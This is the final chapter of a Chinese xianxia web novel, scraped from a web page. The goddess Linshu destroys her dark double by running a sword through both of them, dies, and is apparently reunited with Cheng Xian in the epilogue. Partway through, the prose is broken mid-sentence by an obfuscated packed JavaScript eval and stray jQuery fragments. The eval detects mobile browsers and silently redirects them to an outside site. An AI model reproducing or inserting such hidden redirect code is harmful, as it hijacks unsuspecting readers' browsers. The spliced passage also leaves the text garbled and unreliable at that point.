99. (九十八)万事终结

作品:《师姐她一心修道

    黑瞳临殊眼睁睁瞧着生魂被拓上名册,还一个个给烙上地府之印,只觉自己弄这一遭都成全别人了,一种入套的感觉将她整个人都逼得愤怒起来。她咬牙切齿地瞪着临殊,也是被气笑了:“你还是真是个圣母,连带着死了都还要做上几件功德事。”


    临殊冷脸望着她,“我要纠正这一切。”


    黑瞳临殊揪住她胸前衣襟:“那我呢?为了这些不相干的人,你就要杀了我、杀了另一个自己吗?”


    幽黑眼瞳渐渐湿润,“明明我才是与你最亲近之人,我与你是站在一起的啊……我才和你是一体的!”


    这话说得动听,临殊却不为所动,她冷静道:“是你先要杀我的。”


    面前黑瞳眼神一滞,话语噎在喉头,只嘴角泛出一丝苦笑。


    她忽地垂下眼眸,嗤嗤笑出声来,原本揪住临殊的手,也渐渐松了力气。


    “你用我曾对你使的招数来对付我……你想让我对自己也产生怀疑。”说着,黑瞳临殊将眼神落到底下一群人身上,她将生魂带入幻境又勾人生欲,可结果经人设计,在她心里,让人沉沦的欲望可以让人无限地沉沦,只要她完全占据临殊这身实体,她原本可以控制世间一切的。


    临殊却一定要她承认,是她错了。


    黑瞳慢慢退开她几步,转开眼神,与底下的程仙视线相对。此人仍旧对临殊心心念念,不管是哪一世,因果总让他们相遇,而他也始终奉行死皮赖脸倒贴奉送的道理,只要能与她在一起。


    黑瞳临殊忽而道:“可我没有你心中的执念,既然此招不行,他们成不了罪人,对我来说也不算什么大事。”


    她望向临殊的眼神里带着不屑与讥讽:


    “问题在你那里,”她摩挲着手指,眼皮轻掀,“你知道你为什么会历劫失败吗?”


    临殊面上一怔,皱眉盯着面前人。


    “其实与程仙、或者其他随便什么差错都没关系……”黑瞳临殊话语轻飘飘地,但仍是清晰地将每个字句都传到众人耳中。


    程仙心里感觉不妙,他卷着手掌放在嘴边,对临殊大喊道:“千万被她骗了,她一定又是要蛊惑你。”


    黑瞳临殊大笑,一手捂住了嘴,“我何须如此,不过是实话实说而已。”


    “你到底要说什么?”


    “我在告诉你真相啊!”话毕,欲体猛然撞向她,临殊一手迫住黑瞳临殊的脖子,两人又在高空中搏斗起来。


    对方猛然凑近她耳边,一字一句生怕她漏过:“你永远也悟不了道,因为你是不完整的……”


    临殊一怔,懈下手中的力气,定眸看向她——


    “不管你在人世间历多少劫数,你永远也不可能悟道,因为你从来都缺了一块,没有欲望的挣扎与纠缠,何谈超脱,何谈悟道?”


    “你以为你剥离我是在走向你的道,可从始至终你都是在推离你的道,你一心追求的道也不愿见你,因为你是一个彻彻底底只会逃避的弱者。”


    “你要杀我?真是可惜,你杀不了了,就算你恢复十成百成的神力,你也始终杀不了我,因为我是你的一部分,只要你存在,我也永远会存在。”


    说到这里,黑瞳临殊一手捏住临殊的下巴,猛然扭转她的头让她与自己对视:“现如今,你还没清醒吗……上神。”


    底下几人见着上面两个互相逼迫着,也帮不上忙,心里不免生出担忧来。


    微寿抿了抿嘴,忍不住呐呐:“她真的能收服这个怪物吗……”


    在来之前,临殊与众人商量过她的计谋,只说是与地府合作,将冥河引到无妄海中,借黑瞳之力,点染落入冥河中的生魂。


    黑瞳会引发人的欲念,而临殊以桃木造名册,再借助无妄海的净化之力,原本勾人心魄的欲念便会被悄然削弱。书生会勾画生魂的幻境过往,给人一种沉沦的假象,但从始至终这些生魂都受着书生的监督。


    最后再以冥府之印镇压,正好将一众生魂写上命薄。


    最重要的,是让另一个临殊看到这一切,制造一个欲念并不能控制一切的“事实”。


    微寿仍是有些不信任,“就算她看到这一切,然后呢?我们没有足够的神力与她对抗,任何与之一战的人都会被诱发欲念,从而失去理智。”


    临殊却定定地看着众人:“她是由我的欲体所化身而成,她只是我意念的一部分而已。只要攻下她的心防,倒是我们再设阵收服她。”话虽如此,临殊却并没有十足的胜算。


    再看如今情形,微寿倒真的对最后的结果有些担忧。


    程仙更是心神不稳。幽冥二帝为召引冥河而无法分身,其余人更是参与着勾画生魂的事情,只有他,他既对黑瞳下不了手,又做不了其他,只能在边上干等着。


    而天上,听着黑瞳的话铺天盖地朝自己席卷而来,临殊等着面前人最后歇了嘴,也没怒,只强势地挤出淡淡一抹笑意。


    其实她对几人有所隐瞒,她只说了处理生魂新鬼一事,却没说她对收服黑瞳的把握。


    但或许,事情总能找到一个解决的办法……虽然她知道要付出很大的代价。


    “我会杀死你的。”临殊道。


    面前人只觉自己仿佛听错了什么,都已经如此提醒临殊了,她还在执迷不悟……“唔……”


    黑瞳临殊忽觉背后一阵刺痛,不敢置信地垂眸看去,一柄寒刃长剑硬生生从她背后穿过,鲜血瞬间染红后背前腹的衣襟。


    她当真是被气笑了,她如今已实化了九成的肉身,被如此锋利的长剑贯穿前后,感知自然是有的。她攥紧了一双手,歪了歪头,咬牙切齿地看向临殊:


    “我都说了你杀不死我,你又何必多此一举,平白给我添一道剑伤……”


    临殊对这话不予置否,面上仍是浅笑,原本召唤水剑的左手忽而一动。


    “不!!!”


    程仙眼睁睁看着天上一幕,痛苦地大喊出声。


    黑瞳临殊原本只是埋怨的神情,瞬间也变得恐惧起来,她瞪着一双幽黑的眼睛望着临殊——


    天幕之上,那原本贯穿黑瞳临殊的水剑,受临殊指使,再一次往前穿刺,猛然穿透临殊的身体。


    鲜血从天空中洒落,好似没有无穷无尽的红雨,打湿了一沓又一沓的命薄,更是飞溅到下面所有人的身上。


    无妄海更是因这神血的降落,倏忽间便平息了一直以来的风浪。


    临殊想,如果她自己真是杀不死黑瞳的自己——


    “那我同你一起死——”


    黑瞳临殊看着面前这个神亲自将自己杀死,她嘴唇嗫嚅,忍不住道:


    “……值得吗?”


    为了与她无关的苍生,为了那看不见摸不着的道,一个创世之神,甘愿献出自己的神魂。


    临殊忽而想起前日夜里,她也问过程仙同样的话。


    她笑了笑,对黑瞳道:


    “这不关乎值不值得……当我认定这件事,旁余的意义都是附庸。”


    话音刚落,面前的黑瞳渐渐化作漫天的云雾,天空也瞬间变得晦暗起来。


    临殊咽下一口气,捂着腹部的血痕慢慢下落,脚步刚一触地,她便支撑不住跪倒在地。


    程仙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003187|167844||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忙地赶过来扶起来,只是随着他的动作一动,临殊便吐出大口大口的鲜血。程仙忽然不敢动她,只无声泪流。


    云瑶眼中泛红,她如今甚至不敢靠近临殊,只哽咽着问向太依:


    “她会怎么样?”


    太依敛了眉眼,虽是不愿,却也还是沉声道:


    “神官自戮是天地间最严重的伤害……她最后会消散于人世。”


    “……不能再救她了吗?”子满捂住嘴,压抑着自己的哭声。


    “没有挽救的余地。”


    “不会的……救救她!!”程仙跪身在临殊身边,哀戚的眼神看向太依。


    冥帝垂下眼眸,再没说话。


    临殊阖了阖眼,扯了扯程仙的袖子,程仙忙又看向她。她借着程仙的倚靠,眼神将众人一一扫过。


    她气息微弱,强撑一口力气,浅浅笑道:


    “此番,多谢众人……”


    几人皆是静默,除了冥帝以为,旁余几人都忍不住落下眼泪,被压抑的哭声夹杂其间。


    “你别说话了……”程仙一手扶着她,一手捂住临殊腹部伤口,那剑捅得彻底,很快就染红了他的手,淌了一地。


    临殊虚弱地喘息着,随后道:“能够解决因我而生的罪孽,我已经很满足……三界的秩序,以后就靠你们了……”


    见她眼神涣散,程仙忙地抓紧她的手,千言万语堵在心头,临到最后一刻,他却不知道先说哪一句。


    “……你会回来吗?”


    “……”临殊眼神与之对望,她嘴唇嗫嚅,一道气音逃出她双唇。


    程仙忙地凑近去听,然他耳朵刚一靠近,怀中人立刻消散开来。


    仿佛受了临殊的旨意,此番的天空不再是风雨大作,只细细的雨丝漫天飞散,一点一点将原本的糟污全都洗净。


    程仙望着天空,慢慢阖上双眼。眼泪混杂着雨丝往下流淌,渗入地底。


    ……


    欲体已灭,三界终于恢复了宁静,众神归位,人间恢复了安宁,而同样遭此劫难的地府也回归到原本情形,众地官还有些不适应。


    从此难中幸存的众人,偶尔提到临殊只是感叹,这位创世的老祖宗之一,虽然神魂是没了,但大家总觉得她一直还在身边,仿佛从未远离。


    程仙因着自己无鬼的身份,在三界不好去处,正好缘界微寿是个懒惰的主,于是决定好心给程仙一个二把手当当,让他负责处理缘界所有事务。


    程仙白了微寿一眼,只是无语。


    偶尔空闲的时候,他也会去元清山上走走。青云崖上自她历劫后便被天雷劈成了独一座峰,如今没人再去哪里,只有程仙一个人,坐在崖边高台上,看着山间的云雾变换。


    山间的云海时常能弥漫到青云崖边,他身处缥缈的云雾之间,就好像是在她身边一样。


    程仙有些懊悔,懊悔自己没能听清临殊的最后一句话,不知道她还会不会归来。


    但那有如何呢?不管她会不会回来,他都会一直等着她。


    又一次整夜处理完缘界的杂事之后,程仙去到青云崖,天还正是破晓时候。


    云海翻涌,笼罩住整座崖石,天边的朝阳灿若鎏金,仿佛能灼伤人的眼睛。


    程仙眯了眯眼,在看到青云崖边人身的时候,忽而停下脚步。


    远处金光落在那人身后,霞为裳,露为佩,云雾是她的仆从,天地也不及她半分颜色。


    程仙落下滚泪,喉结微动,话语淹在迫不及待的奔拥之后。


    他想,他终于是将她等到了。


    【全文完】